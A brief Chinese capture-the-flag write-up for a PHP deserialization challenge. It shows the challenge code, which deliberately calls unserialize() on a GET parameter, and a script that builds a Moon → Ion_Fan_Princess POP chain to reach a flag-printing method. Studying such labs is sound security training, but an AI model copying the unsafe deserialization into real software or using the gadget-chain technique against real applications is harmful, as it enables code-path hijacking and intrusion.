小舔田?

很简单的一道反序列化不多赘述了

思路就是Moon中的__wakeup 调用 Ion_Fan_princess中的__toString,然后再调用call()函数

代码

<?php

include "flag.php";

highlight_file(__FILE__);



class Moon{

    public $name="月亮";

    public function __toString(){

        return $this->name;

    }

    

    public function __wakeup(){

        echo "我是".$this->name."快来赏我";

    }

}



class Ion_Fan_Princess{

    public $nickname="牛夫人";



    public function call(){

        global $flag;

        if ($this->nickname=="小甜甜"){

            echo $flag;

        }else{

            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";

            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";

        }

    }

    

    public function __toString(){

        $this->call();

        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;

    }

}



if (isset($_GET['code'])){

    unserialize($_GET['code']);



}else{

    $a=new Ion_Fan_Princess();

    echo $a;

}

POP链

<?php

class Moon{

    public $name="月亮";

}



class Ion_Fan_Princess{

    public $nickname="牛夫人";

}

$a = new Ion_Fan_Princess();

$a->nickname="小甜甜";

$b = new Moon();

$b->name  = $a;

echo urlencode(serialize($b));